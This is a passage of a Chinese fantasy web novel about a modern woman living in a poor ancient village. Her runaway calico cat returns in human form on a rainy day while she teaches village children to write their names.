由于“村委会”这个概念过于新奇,饶是余玥玺,也是没有任何方式能让所有人听懂。少部分年轻人听了个大概,中年人一知半解,年纪稍大些的老人听得稀里糊涂,连道拒绝。
“费这劲干啥?把所有人的物资集到一起?太麻烦了,太麻烦了。”
“我知道大家一时之间很难理解与接受,但是我会带大家一起探索经验的,这个方案我觉得一定能行。”见台下乱糟糟,余玥玺不觉又将声音提高了几度。
“大家安静些啦!给余姐姐一点面子!”桃儿扯着嗓子喊,天知道她这小小身板里哪来的这么大能量。
下面纷纷止了声音。
她从皇城来的,她说什么都是对的,就算不对也是对的。
但余玥玺已经没有精力将“村委会”是什么以及它的职责再复述一遍了。她求助般看向自己的大助手,周小吉微微摇头,颇为不好意思地开口:“抱歉,我记怪不好,你刚刚说的,我没记住……”
小孩呢?这个年纪的小孩记性最好了,余玥玺又看向桃儿。
桃儿“嘿嘿”一笑:“我刚刚一直没听。”
那柳儿呢?柳儿在这之前可是一直在听她说话,而且可能会靠谱一些?
余玥玺又转向柳儿,还未待她说话,柳儿便极不自然地移开视线:“我不知道,我没听懂,我说不出来。”他一口气说完,眼睛依然不自然地地看风吹落在地上的叶子,就是不看余玥玺。
这下……完了。
台下的村民仍眼巴巴看她,希望她能再说出些什么来。
“大家可以各回各家了。”余玥玺颇有一种收放自如的气质,“多说无益,无论什么最后还要投入到实干中去,大家说是吧?”
无人应是或不是,她使只好再次自说自话:“嗯,是的。”
“所以我不打算再口头解释了,后日也是这个时候,大家可再来此处,来评选一下除了我和小吉以外的成员。”
“大家还有什么疑问吗?”
余玥玺本来已经做好继续无人应答的准备了,却听得一个声音问。
“真的是人人都有机会吗?不是你看谁顺眼就选谁?”
“绝对不会,请大家放心!同时我也不会参与投票,所有村民的参与被选举的机会是等同的!”余玥玺自信满满打包票,“当然这就看各位的能力了,或者一点小小的人缘?”
“时候不早了,各位都快些回家吧。”余玥玺再次善意提醒。
“小喜!等等我!”周小吉见她也欲走,便开口叫住了她。
“什么事,小吉?”余玥玺停下脚步,回头看她。
“你今天在会上可是完全没有提让我教孩子们识字的事情啊,你得向我保证,你不是在哄我的。”周小吉拉住余玥玺的衣袖,仿佛她不说个明白,就不许她走一样。
余玥玺笑道:“已经决定了的事情,就不需要宣布了。”
她拍了拍周小吉抓着她衣袖的那只手,又道:“你看,我不早就把那本书给你了,你还担心我骗你吗?再说了,我又跑不掉,你可以随时来我家堵门!”
这话让周小吉稍安心了些,她松开手,点点头告诫道:“那好,我可是会随时上门的。”
“半夜也会……”周小吉又补充了一句,但转念一想这种行为像是和鬼差不多,便止了话头,摆摆手,“那我和奶奶回去了,回见!”
“好,回见!”余玥玺也摆了摆手。
唉,这便要回去了,可这路如此之黑,她有些胆怯了,
她并不是怕黑或是怕鬼,而是怕摔跤。
这副身体几乎哪哪都和她一样,就连在暗处什么都看不清的眼睛都一并继承了过来。
月光起不到什么照明的作用,反倒将还算清晰的景物变得朦朦胧胧。
她便希望在这树旁找到根趁手的树枝,一点一点探着前路回去。不回去也不是个办法,她总不能在这树下过夜吧。
且不说夜深露重,后半夜冷风直吹是不是会被冻感冒,就是睡也不能直接席地而眠。
更何况,家中还有一只猫在等着她呢。
想到这,余玥玺的笑意攀到脸上,归家的念头便又重了几分。
“余姐姐,太好了,你还没走!”桃儿居然还没走,飞鸟似的扑了过来,她身后远远跟着柳儿。
“怎么,你们也还没走吗?”余玥玺惊异道,“快回去吧,你们家里人会担心的。”
“没关系,已经和她们说过了,我和柳儿来,就是为送你回去的。”桃儿笑眯眯,”余姐姐肯定做不到一个人回去的吧?”
余玥玺愣住,嘴硬道:“怎么会,我一个人大活人还回不去了?”
“哦,是吗?”桃儿也装作惊讶,“柳儿说的呀,他说你在黑夜里看不清,怕你回去的时候跌跤。”
“咳嗯——那好吧,我们就一起走,我确实在夜里看不清东西。”
桃儿便亲热地婉挽住了她,又向柳儿说:“你在前面带路!”
三人是最后离开古井的。
“余姐姐,为什么你的眼睛在暗处看不见呢?”桃儿问。
“因为念书啊,书读多了眼睛就这样了。”余玥玺回答,又用告诫的口吻对桃儿说,“桃儿啊,若是你以后也有如此好机会可以读书,千万要注意看字时不可将眼睛贴在书本上。不然啊,也会像我一样什么都看不见。”
“嗯——我会注意的。柳儿,你听见了没?”
柳儿点头:“我也明白的。”
尽管桃儿并没有她的个子高,但臂膀却很有力,余玥玺虽然还是看不清前路,但被这样挽着,心里安定不已。
“快到了。”走在前面的柳儿说。
“怎么样?要去我家看看花花吗?”余玥玺提议。
“不用,这么晚了,花花肯定已经睡着了,就不打扰它了吧。我会带着柳儿明天来看的,回见,余姐姐!”桃儿挥手告别。
“嗯,回见。”柳儿声音淡淡,平静的像夜晚的湖面。
桃儿拍他:“你声音这么小谁能听见啊!”
柳儿一躲,声音这才有了些许波澜:“太晚了,我不好意思大声说话……”
桃儿又要拍他:“你的意思是说我打扰到别人了?”
“我没……”柳儿又是一躲。
“好了好了,我听见柳儿说再见了,你们也快些回去吧。”余玥玺再次向两人挥手,“回见!”
她站在门口见两人走远,直到完全看不见他们的身形。
摸着黑走到房间里,不太熟练地点起灯,一瞬间,眼前便明亮了起来。坐在椅子里,心情大好的余玥玺唤了一声猫:“花花——”
余玥玺期待着听到回应的叫声,但等了许久,也听不见任何声音。
在睡觉吗?没听见吗?于是她又喊了声:“花花——”
“花花?喵喵?”
仍然没有任何声音回应她,
她内心慌乱,一下子从椅子里站起来,习惯性地看向床下。<
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什么都没有。
她又翻开了被子。
还是什么都没有。
最后,她摸黑摸到了其他房间,每到一个房间,便唤一声:“花花?”
还是听不见任何回应,就连一根猫毛都看不见。
顿感受挫的余玥玺将自己放倒在床上,她看着灰扑扑的屋顶,心中半是忧伤半是愤怒。
这猫还真是恼人啊,从一见面的闯祸到后来洗澡时的乖顺;从不打招呼就翘翘尾巴走猫到回来时在她脚边卧着睡觉的粘人,而这次明明都已经说好了不许它再随便跑掉,它却依然跑掉了!
余玥玺是真心觉得自己被猫戏弄了,给个巴掌再给个甜枣就能抵消掉先前巴掌的伤害吗?
是猫就行了吗,不可能,绝对不可能!
她决定了,她也要这么对待这只一身反骨的猫。
这猫傲气,定会认为无论它怎么做只要最后服个软再柔柔“喵喵”叫上几声,她便会原谅它。
这次不行了,今晚是不会让它进家门的。
余玥玺抬眼看了下门的位置,便走到前面,将沉重的门闩塞进了大门的缺口处。
做完这些后,她拍了拍手上的灰,眼神得意:花花你不要以为你的主人是好欺负的。
一番洗漱过后,余玥玺倚靠在床上,手中拿了本关于鱼的书,从什么水质养什么鱼,到鱼爱吃什么,最后看到鱼怎么做才好吃的时候,木质的大门响起了尖锐物品挠在上面时发出的窸窸窣窣的声音。
余玥玺的视线从“红烧鱼”移到了大门处。
挠门的声音持续了一阵子,停下的时候又响起了“喵呜喵呜”的叫声。
哼,还知道回来啊,我就不开门!余玥玺下定决心履行诺言,今晚是绝对不会开门的,我才不管你怎么叫。
“喵喵喵。”声音还在门口持续着,伴随着“喀拉喀拉”的挠门声。
余玥玺也不看书了,她一直看向门的位置。
如果我不开门的话,花花会挠多长时间呢?它是一只聪明猫,发现门没人开的话,肯定是会去柴房那里睡的,那里有一堆干草,睡得肯定舒服。
挠门和喵叫停止了。
嗯,这才对,快去柴房睡吧,今晚我可是不会给你开门的哦!
余玥玺的视线从大门处收回,凭借着昏暗的烛光,她忽瞥见窗上映着一个影子,毛茸茸的一团,顶端两个小三角。
猫,猫头?余玥玺着实惊了一下,她迅速灭了灯,连同那册书一起将自己裹进了被子里。
千万不能让花花看见自己还醒着,不直接试图从窗子里进来,它也得继续挠门。
夜深人静,余玥玺屏息凝神,忽而又听见比刚刚还清晰的猫叫声:“喵呜?”声音透露着浓浓的疑惑:刚刚还亮着灯呢,怎么一会就关了?
“喵呜!”我回来了,快开门啊!开个窗也行啊!
“喵呜。”好吧,睡着了。
“喵呜……”那我只好走了……
余玥玺听着花花高高低低叫了好一阵子,像是包含着无限的情绪般,可惜她听不懂,只在花花叫了最后一声后松了一口气:终于走了。
困意来袭,余玥玺迷迷糊糊睡着了,临睡前还在想着明日一定要早起,让它吃一晚上的亏也足够了。
第二日一大早,余玥玺便醒来了,她醒后便直奔柴房。柴房空空如也,哪里有猫的踪迹?
这猫,怎么又趁人不注意跑掉了?简直没点身为家猫的自觉!
12.再见,余玥玺
余玥玺气哼哼在门口徘徊,希望可以在数秒之内见到那只名叫花花的三花猫的影子。它真就那么喜欢外面,不肯在家里待着?
她想不通,她那经济学院的闺蜜家中养了一只美短,活泼可爱,见了熟人便会跳到那人的膝盖上,喂点猫条,更是能在你的面前表演猫猫杂技。它最喜欢的事情是晒太阳,最讨厌的事情是出门。
某次她应闺蜜之请,去她的家里把猫抱出来散步,因为闺蜜觉得这猫吃了睡睡了吃,体重呈直线上升,会对身体不好,自己而又没有时间,便拜托已经放了假的她去遛猫。
为了让这猫出门,她还特地选了一个阳光明媚的日子,到了闺蜜的家以后,美短还是一如既往向她撒娇,但套上牵引绳后,整只猫便如同定住一般,再一拉,便倒在地上,山一样一动不动。
因为害怕弄伤它,遛猫这件事从此以后在两人之间便不了了之了。
怎么会有差别如此之大的猫啊。
回来的话更好,不回来的话也罢,看它那个样子,就算一个猫生活也不会过得太差吧。余玥玺最后叹了一口气,退回到屋子里去洗漱了。
懒懒坐在书桌前,面前是摊开的书,书上的字像蚂蚁,又小又密,爬来爬去,什么也看不清。
“什么东西嘛,写的这是什么?”余玥玺拧着眉毛不满道。
唉,终是自己的心太乱了,才导致什么都看不进去,推开书,余玥玺又走出了房子。
如果找不到它的话,今天乃至以后都怕是安心不了了。
余玥玺弯着腰将脑袋探进柴房,柴房里绿意盎然,青苔爬满了腐朽的木头,味道并不太好闻,她仔仔细细地拨弄着干草,希冀能看见几根斑驳的猫毛,可是她什么也没看见。
小院里并没有什么其他的能够藏身的地方了,她环视一圈,心中怅然无比,拖着沉重的心情重新坐回了椅子中。
再看一眼书上的字,依旧是爬了一堆蚂蚁般,蚂蚁不识字,她也认不出蚂蚁字,这很正常。
她尽力使自己安心下来,深吸了一口气,不再去想那只忘恩负义的猫,自己还有正事要做,这个村子还需要她,村民们也需要她,切不可为了一只难训的猫丢了心思。
可她仍旧读不进去,半天了目光仍然还在停留在第一页。从外面吹进来一阵风,“哗啦哗啦”吹动着书页,她用手抚平,抬眼向外边看去。
天色阴沉,并无半点清晨时分阳光透亮的意思,乌云压得很低,风声呼啸,起先还是一阵阵的微风,到后来则是狂乱起来,吹个不停,她瞥见院子外那一丛丛矮小的灌木在风中瑟瑟发抖。
看来是要下雨了,余玥玺起身关起窗子,然后走到了大门前,心情复杂地眺望着远处。
如果它就这么走了的话,会被雨淋吗?会没有地方住吗?会没有东西吃吗?
正出神之际,三个人影出现在院门口,与之一同飘来的是桃儿兴奋的呼喊:“余姐姐,我来啦!”
“嗯?”余玥玺定睛一看,是桃儿柳儿和周小吉。
“哈哈,余姐姐,你是知道我们要来,特地在门口等着吗?”桃儿笑嘻嘻地说。
余玥玺又看了眼越来越黑的天,不解道:“都快下雨了,你们还来做什么?等会下大了可回不去家了。”她看几人并没有带任何雨具,又作势要赶他们走:“快回去吧,淋湿了可就不好了。”
“哎呀,没事的!又不在外面,怎么会被淋到?”桃儿说着便从余玥玺身旁挤了进去。
见他们是打定主意要进来了,余玥玺只好让开身子,让另外两人也进来。
“喏,给你的,你早上还没吃吧?”柳儿在进来时递给她一块黄黄的饼子,“可能会有些干,配点粥或者水吃就好。”
“谢谢。”余玥玺顺手接过饼,却放在了一旁,“但是我不饿。”
周小吉听了这话,奇怪地看了她一眼:“不吃早饭可不行啊,午饭晚饭可以不吃,但早上这餐一定要吃。”
“嗯,行,我知道了。”余玥玺点头,心里在想自己自上过大学以后,早餐可是没再吃过了,嘴上却说,“我马上就吃,没事。”
或许是余玥玺的声音听起来沉闷,完全没有平日里的精神气,桃儿便注意地多看了眼她。她的表情也是沉闷的,没有丝毫笑意。
“余姐姐,你怎么了,没睡好吗?”桃儿关切地问。
余玥玺摇摇头:“我睡得挺好的。”
“那你怎么这个样子?”
“什么样子,我觉得我很正常啊。”余玥玺艰难一笑,“就是早上刚起来有点精神不太好吧。”
但桃儿看这表情,心道还不如不笑,这一笑起来,更不对劲了,像是用笔画出来般不自然。
“那是做噩梦了?”周小吉凑了过来,同样关切看着她。
余玥玺也不想做过多解释了:“嗯,对,做噩梦了,早上醒来时还没有缓过神。”
“轰——隆——”此刻外边一道惊雷落下,发出惊天动地一声巨响,没有任何心理准备的余玥玺吓了个哆嗦。
周小吉赶紧拍拍她的后背,做安抚状。
“吓我一跳。”被这一吓,余玥玺的表情似乎鲜活了些,她赶紧关上了门,舒了一口气,“这雷像是要打到家里一样,真是吓人。”
她背对着三人关起大门,转过身时脸上笑意满满;“这下你们是真的回不去了,这会回去的话,肯定会被淋到的,等雨停了再走吧。”
“好!其实我就是这么打算的呢!”桃儿看起来开心,“这下就有理由待在你这里不走了,说起来,我好像还没有好好在这里待过呢,那次我都没好好看看这屋子什么样!”
桃儿说着便自顾自走进了余玥玺的房间,周小吉也紧跟着进去了,柳儿杵在门口,一动不动。
“没关系,进来吧。”余玥玺向柳儿招招手。
柳儿僵着身子点点头,一言不发地进来了,进来以后就靠着门边的墙站着,看起来异常窘迫。
“哇,好多书!”桃儿先看看桌上的书,又看了看地上那一堆乱七八糟的书,羡慕不已的开口,“我也想有这么多的书,可惜我还不太会识字。”
她的眼睛亮晶晶:“余姐姐,你这里有那种,嗯,讲故事的书吗?就是一个篇章一个故事,每个篇章的主角都不一样,不止发生在我们这里,还有发生在天上的神仙们的故事!我好喜欢那个百花国女皇的故事,可惜只听了一半就没有下文了。”
“这倒没有。”余玥玺摇头,“我这里只有工具书,嗯,很无聊但很有用的工具书。”
不过桃儿的话却启发了她,等乔河再回来的时候,可以让他带些市面上流行的话本子来,
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一来可以解闷,二来也好让她了解这个时代人民的文化生活。
周小吉又自顾自地去地上拿了一本书起来,她拍拍封面的灰,开始朗读:“农用全书大全——养蚕篇。”
“你要养蚕?可是我们这里连桑树都没有,或许也有,但是不多。”周小吉疑惑道,“要是真养这个东西的话,会很难吧?”
“我当时也没看是什么书啊,就一股脑全买回来了,里面总有点有用的吧!”余玥玺闷闷道,“我本来第一天的时候把这些都整理好了。”
“按作用大小,以及实现的可能性都快分好类了,结果被猫弄乱了。”
桃儿小心翼翼问:“那,那花花呢?现在它在哪呀?”
余玥玺深深地看了桃儿一眼,叹气:“它跑了。”
“跑了?怎么就跑了呢?”桃儿惊诧不已,“我可是从未听说过家养的猫会丢下主人的。”
“其实它倒不算是家猫,也怪我,硬要养一只养不熟的猫。”余玥玺揉了揉自己的脸,勉强自己打起精神。
“我能插一句话吗?”一直靠着墙的柳儿开了口。
“你要讲你就讲呗。”桃儿道。
“你们没听见吗,门口有猫的叫声……”
猫?花花回来了?余玥玺心中一惊,连去开门。
瓢泼大雨中,一只三花猫端端正正坐在门槛上,浑身的毛都湿透了,看样子是冒着大雨回来的。
见到了花花,余玥玺心中所有的郁闷一扫而空,她重新展露笑颜:“花花,来,快进来呀,外边雨大。”
周小吉和桃儿在她身后看着,柳儿身子在屋里,只探出一个脑袋来看。
“喵。”花花极平静地叫了一声,却无半点要动身进屋来的样子,它的眼睛慢慢地眨了眨。
“不进来吗?”余玥玺的笑有所收敛,她又重复了一句。
“轰——隆——”又是一阵惊雷落下。
花花扭头看了眼身后,又转过头来继续静静地看着余玥玺。
风大雨急,仅仅是这一会儿的功夫,余玥玺便感觉脸已经被雨打湿了,阴冷之感扑面而来。
“雨大,回来。”
花花的尾巴动了动,它抬起一只爪子,又轻轻地“喵”了一声,它从脚下叼起一团被泥浸湿的黑乎乎的东西,在门槛上轻轻放下,用期盼的眼神看着余玥玺。
“送我的?这是什么?”余玥玺便弯腰欲拾起那个东西,“还我的?”
那是一方手帕,先前花花受伤时余玥玺给它包扎用的。
“你伤好了?想要走了?就把这个还我了是吗?”余玥玺一连问了三个问题。
她身后的桃儿和小吉看得目瞪口呆,这是什么?和猫对话吗?
花花再次缓慢地眨眼,而后轻轻点头。
两人更是震惊,和猫说话也就罢了,这猫居然还能听懂,还能做出回应,如果有比这个更令人震惊的事情发生,那应该是这猫口吐人言了。
所幸,这件事并没有发生。
“不过,雨这么大,真的就这么急着要走?”余玥玺试图挽留。
“喵呜。”花花摇头,它站起身,后退了一步。
它回头看了眼远方,再转过来最后看了眼余玥玺,在她不舍的目光下转身离去,如此决绝,就像它生来便是属于山林的一般。
13.山脚山顶,终有一见
“就,就走啦?”桃儿顺着余玥玺视线的方向看去,只能看见一条被猫踩过的路,上面印满了猫爪印。
“嗯,走了。”余玥玺点点头,收回目光,随后关起了门。
她转过身时脸上并无悲伤之色,只定定地看着从屋里跑出的小吉和桃儿两人,笑道:“你们怎么也出来了?看见花花了吧,好看不?”
“你真的就让它走了?”周小吉的声音困惑,听上去有些担忧。
余玥玺慢慢走回房间,在椅子中坐下,又慢声道:“嗯,是啊,不然让它留在这里吗?对我对它或许都不太好。”
她又想起那夜花花狼狈不堪的战斗模样,忍不住笑道:“只希望它以后不要再随便找什么别的东西打架了,它那小身板,打得过谁啊?”
“其实我还有个问题想问问余姐姐。”桃儿歪头。
“嗯,问吧。”
“花花真的可以听懂人话吗?我看你刚刚和它说话,就像对人说话一样。而且,花花居然也可以回应你,当真是奇怪!”
余玥玺有些许发愣,她自己都未想过这个问题,是啊,为什么就如此自然地和花花对上话了呢?
“就是一种感觉吧……看着它我就感觉它可以听懂我的话。”
“哦——”桃儿拉长声调,似是信了又似是没信。
“真的不难过吗?”周小吉看余玥玺的脸,试图找出她别的情绪,“你不是挺喜欢这只猫的吗?真的就让它这么离开了?”
“喜欢又能怎样啊,它一定要离开我可没办法,再说了,它不是和我告过别了吗?假如它一声不吭地离开,那我才是真的难过。”余玥玺摇摇头,甩去一身的烦忧,“可别担心我了,我真的一点事没有。”
“不过是……一只猫罢了,况且我也没有养很久,哪里来的那么深厚的感情。”
周小吉和桃儿互换了一个眼神,小吉上前拍拍余玥玺的后背:“嗯,据我所知,钱大爷家的猫要生小猫了。你若喜欢,可以等小猫断奶以后去抱一只回来养,不过可得提前说,晚了可就被旁人分走了。”
“是啊是啊,钱大爷家的猫可乖了,生的小猫肯定也乖乖的,绝对不会像花花一样到处乱跑!”桃儿的语气欣喜。
柳儿听了这话,便去问桃儿:“桃儿,你想养吗?”
“怎么,你很想吗?”桃儿反问。
“不,你要是想,我们可以一起养的。”
“算了吧,娘不喜欢毛茸茸的东西,她说害怕。”桃儿摊手,“不过余姐姐养了就等于我养啦,我可以常来看的。”
盛情难却,即使余玥玺目前并没有再养猫的打算,但她还是没有完全拒绝,只道:“好,那到时候再说吧。”
随后余玥玺像是什么都没发生一样心情大好,她取出一张写字纸来,还未说明,就被周小吉一把抢了去。
“天啊,这纸,这纸……”
“也太好了吧。”
然后她便抱在怀里不肯撒手了:“小喜,送我好不好?”
“哈哈,这有什么问题,我还有不少呢。”余玥玺拉开那个她带过来的箱子向众人展示,里面是一沓沓的白纸。
周小吉眼睛都看直了,她指着那堆纸,说话都不太利索了:“你怎么,怎么会有,这么多的纸!”
“想要可以随时过来拿!反正这个我不缺!”余玥玺向来大方。
“小喜你真的是太好了!皇城的人都这么好吗?”周小吉立马作势要扑过去抱她。
余玥玺顺势一躲,哈哈道:“夸我就好了,大可不用连那边的人一起夸了。”
“嗯嗯,好,小喜最好了!是皇城第一号好人!”周小吉笑眯眯。
看着到场的三人以及自己所拥有的纸与笔,余玥玺心上一计,她问周小吉:“小吉,我叫什么呀?”
周小吉毫不犹豫回答道:“你说过的,叫余月喜嘛!”
“是这个读音没错了,但我保证,你说错了!”余玥玺看上去竟有些得意。
她又问桃儿和柳儿:“想想看,我叫什么名字呢?”
桃儿答了一个“余”字后便不做声了,柳儿倒是说出了个“余玥玺”来,但他诚实道:“可我不会写。”
“那你们知道我的名字怎么写吗?”
另外两人毫不犹豫地一起摇了摇头。
“来看,我从这个最难的字开始写。”余玥玺又取出一张纸,磨好墨后,提着毛笔饱沾了下墨汁,在纸上写了一个又扁又小的“尔”。
“我知道,这个念尔!”桃儿嘴极快。
余玥玺没应,又在“尔”下写了一个同样扁扁小小的“玉”。
“这个我还知道,念玉!”桃儿又答。
“那么,合起来呢?桃儿同学?”余玥玺微微笑着看向桃儿。
桃儿想了想,试探性回答:“我猜它不念尔就念玉。”
“为什么呢?”
“遇到不认识的字,念一半就好了。”桃儿猜自己肯定是答错了,忙拉个垫背的,“嘿嘿,小吉姐姐教我的。”
周小吉急了:“怎的又成我教你的了?明明这法子是你自己总结出来的!”
“你们别急,我还一个都不认识。”柳儿像是害怕二人的争论,他向余玥玺恳求道,“您能教教我吗?”
“那柳儿觉得这字念什么呢?”余玥玺一下子将问题又抛给了柳儿。
“我,我猜念玺。”柳儿不自信地笑了一下,“当然也可能念玥。”
“自信些啊,柳儿。第一个答案是对的,那你是怎么猜到的呢,说说看?”
“就是啊,怎么猜到的?”桃儿也看柳儿。
“因为我刚刚听您说了,从您名字中最难的那个开始,这个字感觉不太像月亮……”柳儿道。
“哈哈,再来看下一个字。”余玥玺提笔写下一个端端正正的“玥”字,这次她没让三人猜了,而是直接说,“这个就是我的名字的第二个字。”
“和月亮没关系啦,虽然和月读音相同。”
“那和玉有关?”周小吉忽地开口。
“嗯!差不多!”余玥玺赞许地拍了拍手,又向另外两个看起来困惑的孩子解释道,“看旁边这个王,其实是玉的变形。”
桃儿的头脑果然灵活,她兴奋且急切地说:“那余姐姐名字的两个字就都和玉有关了是吗?”
“没错!”
“这样一听,倒是比我想象中那个名字还要好。”周小吉接过余玥玺手中的笔,在“玥玺”旁边又写下“月喜”两个字,摇头笑道,“这下还真是差别高下立判了。”
“我似乎还记得你说过你的本名不是这个?月西?”她又写下了“月西”两个字。
余玥玺思索了一番,点头:“嗯,为了避讳,改了名字。你们知道的,哦好吧,或许你们不太清楚,皇城的官员名字有许许多多限制,我也不知我这名是冲撞了那位皇室中人,总之就改成这样了。”
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她提笔在纸上又“唰唰”写下“玥溪”两个字。
“还真是普通了不止一点。”她笑,“在这我就无需担心这些了。”
“没错,余姐姐觉得那个名字不好就不用了嘛!”桃儿立刻表示赞同,她伸手接过笔,在纸上一笔一划极其认真地写下了“桃儿”两个字,想了想,又写下“柳儿”两个字。
“唉呀,柳儿你的名字还真是难写。”桃儿指着纸上这两个名字,“看这个是我的,这个是你的。”
柳儿乍一看并未看出区别,点头如捣蒜:“写得好写得好。”
桃儿来了兴致,又提笔写下“小吉”两个字,在小字前面又写了个稍小的“吉”,最后用框围住了吉,她抬头得意看向周小吉:“周——小——吉,小吉姐姐,我写的没错吧?”
“怎么会没错。”周小吉夺过笔,沾了沾墨汁,写了一个正确的“周”字,“为什么要全部封起来?”
“哦,我明白啦!”桃儿丝毫不受挫,看上去依旧兴高采烈。
柳儿来了兴致,表示也要尝试写一个字。
“你连字都看不懂诶。”
“没事,我可以画字。”
“哇,你这握笔姿势完全不对!”
“没事,我以后不就可以慢慢学了。”
看着三人都在笑,余玥玺也放松了下来,这时她才感受到一些饿意,便慢慢将柳儿带来的那块黄黄的硬饼子吃了下去。
“突然就感觉这场雨没那么糟糕了。”周小吉道。
柳儿不解风情,摇头:“还是糟糕的,它还得下上个三四天,到时候,又得注意哪些地方损失严重了。”
“唉,也是,若是这雨只下这一阵子就好了。”周小吉看向窗子的位置,声似叹息。
“每年的这个时候都会下雨吗?下多久?”余玥玺问,但说实话,就算知道了结果,她也没有完全的把握能够降低烂泥村所遭受的损失。
“这一阵子比较短,会断断续续下三到五天,不算严重;再过月余,会下一场更大也更持久的雨,那才是烂泥村需要真正应对的麻烦。”柳儿回答,声音平淡。
余玥玺听着,若有所思地点头,如此麻烦,在那小册子中应有记载,她一个对疏通水利一窍不通的现代人,如此之难题,还是求助求助那个和她同名的女官吧。
她一边应着一边在堆积如山的书中寻找那一薄薄小册子,可是都已从第一本翻到最后一本了,那本应该夹在其中的册子却不见了踪影,像是有意和她捉迷藏一般。
兴许不是夹在书和书里面,而是被自己夹在了某本书里。余玥玺又开始从第一本书翻起,“哗啦哗啦”翻动着书页。
如此又是将这堆书翻了个遍。
“册子呢?”两遍寻不见,余玥玺也慌了起来。
“余姐姐,你在找什么?什么东西不见了?”桃儿见余玥玺忽面色苍白,关切询问。
余玥玺按下心中慌乱,微微摇头:“一本书而已,没什么。”
山下徘徊着一青年男子,他撑着把油纸伞,不住向山上眺望,又不时看向路边是否有来人经过。
他并不高大壮硕,相反呈现出一种少年郎的稚气来,他不时踮脚跨过一个又一个的小水坑,对着路边偶然经过的猫龇牙咧嘴。
雨依旧下得很大,将他的白布鞋浸湿,鞋面黑黑一团。
“算了,不等了,这就上去了。”他自言自语,“名字便叫华画,是个,是个钓鱼的。”
14.猫只是高兴过头而已
华画艰难行走在雨中,手中的油纸伞早已在登山过程中被风不知吹落到哪里去了,大雨滂沱,将他浑身淋了个透湿。梳的整齐的头发也被风吹成了鸡窝,一部分被雨淋湿粘在了脸颊两侧,另一部分牢牢贴着后背。
花纹繁复上好布料的衣裳也因跌跤而扯破了一个口子,白布鞋变成了黑布鞋,衣裳紧紧贴在皮肤上,冷风一吹,华画便打了个实实在在的哆嗦。
做猫那会的初见已经丢了不少面子,就想着给自己的人形好生打扮一番,再去见她时,心里多少能好受些。而如今一看,还不如自己做猫那会。
“这么心急做什么?”华画埋怨自己,“就不能等雨停了再上山吗?这么一个糟糕的样子,让她见了怎么得了?”
可是,华画又转念一想,自己真的等得了吗?
等不了,一刻也等不了。从自己伤好的那一刻,他就已经迫不及待了。想尽他所能,帮助小余。
想到那个用微笑脸唤他“花花”的人,华画不觉笑了。只要能尽快见到她,丢不丢面子什么的,都无所谓了。
丢面子的是花花,和他华画有什么关系?
华画又抹了一把脸上的雨水,继续向山顶走去。
“余姐姐为什么会到我们这里来呢?”桃儿躺在余玥玺的床上,侧着脑袋看正看着书的余玥玺。
“没什么理由,我觉得我应该来我就来了。”余玥玺随口回答,想的却是自己莫名其妙来到这个时代的事情。
桃儿瞪大眼,鼓掌:“余姐姐你好棒。”
接着她又叹气:“如果皇城那边能有更多的像余姐姐这样的人就好了,我们烂泥村也不至于就变成这样。”
“以前也是来过人的,可惜他们没有待多久就全部走了,不仅如此,他们还极力鼓吹外面有多好,让我们都离开这里。”周小吉说这话的时候脸上有隐隐的怒意,“有些人就是在这个时候离开的,他们离开以后,根本没什么办法好好活下去,没有住所也没有工作,过得比这里还要艰难。”
“本来人就不多,如今更是少了。”柳儿最后说,“我爹娘他们在外边如今也不知是死是活……”
桃儿立马从床上跳下来捂住他的嘴:“都说了不准想太多!”
“我没难过,真的。”柳儿摇头,“他们本身都已经不想要我了,我也不会为他们难过的。再说了,你们家对我很好,我更没有理由难过的。”
周小吉安慰般拍拍他,并未再多说什么。
门外风雨肆意,极力地撕扯着门外的一切,余玥玺看着书,表面平静内心却乱成了一团解不开的麻绳。
这次的雨不会下太久,但一个月后的雨就会带来威胁,能够给她用作参考的那本现代小册子也不知去了何处,她真的就要零基础学习洪涝灾害的灾后建设了吗?
想想便令她一个头两个大。
门不合时宜地发出“咣啷咣啷”声,屋内另外三人的谈话有所暂停,余玥玺也抬起眼睛看向门的位置。
“谁啊?”余玥玺喊了声,也不知是门外之人没听见,还是门外之人的回应声被风雨声所掩盖,屋内的人没有听见回应。
“这个时候村里人都应该好好在家的呀,谁会在大雨天跑出来敲余姐姐的门?”桃儿搓了搓手,不解道。
“就算有急事,也可以等雨停了呀,这样大的雨天跑出来,可是会被淋湿的。小玺,真的有急事吗?”周小吉也困惑无比。
余玥玺摇头:“没有。”
柳儿什么也没问,他走到堂厅中,侧着耳朵停了一阵子:“不是村里人。”
“不是村里人?那是哪里来的?”桃儿看起来有些紧张,“我们村这么偏僻,怎么会有其他人上来?”
“要不别开门了,万一是什么山匪呢?”周小吉也紧张道,“而且,为什么就偏偏来敲小玺的门呢?”
余玥玺继续端着脸看门外,半天才开口:“无事,让他进来吧。”
离得最近的柳儿欲伸手去开门,手都碰到门闩了,转头又确认了一遍:“真的可以开吗?”
“嗯,我有预感,会没事的。”她说了一句极其故弄玄虚的话。
门开了,余玥玺走出房门,准备见见这个冒着大雨来敲她的门的家伙。
柳儿在开门后后退了几步,既好奇又有些害怕的桃儿站在余玥玺的身后,周小吉待在房里没有出来。
雨中的人看上去狼狈不堪,从头到脚都在滴水,裤脚处溅满了泥点子,他手中空无一物,唯眼睛亮晶晶地看向余玥玺。
余玥玺被这目光看得浑身不自在,稍稍撇过去一点脸不与他直视。
“你是?”她迅速开口。
那人欣喜回答:“我名华画。”
听到这个名字的余玥玺转过来脸,认真地打量了一下这个人:“你叫花花?”
“嗯,华画!”那人又极高兴地重复了一遍自己的名字,“我叫华画!华丽的华,字画的画。”
“你来这是要做什么?”余玥玺继续问。
她没说让他进来,华画便继续站在雨中,哆哆嗦嗦但高兴地回答:“我是个钓鱼的!啊——嚏——”刚回答完,就结结实实地打了个喷嚏。
余玥玺见他淋了雨还这么高兴,回答起问题来更是胡言乱语。钓鱼的?钓鱼的能跑到如此深山里吗?她内心只有一个想法:这人淋雨淋发烧了,发烧到胡言乱语了。
“快进来吧。”她侧过身子让出一个位置来。
“好!”华画又是很高兴地点头,一路滴着水进来了。
“你怎么淋了雨还这么高兴?”桃儿壮着胆子问,“你莫不是发烧了?”
“没有,哈哈,我喜欢雨,非常非常喜欢雨,你们看我连伞都没撑。”华画张开双臂,原地转了个圈。
“唉。”柳儿似是同情地叹了口气。
余玥玺伸出手背在兴高采烈的华画的额上触碰了一下,刚触到就闪电般地又缩回了手,目光惋惜:“我说怎么胡言乱语的,原来真的是发烧了。”
她指着厅堂中的那条长凳:“你先在那边坐下,我给你烧些热水。”
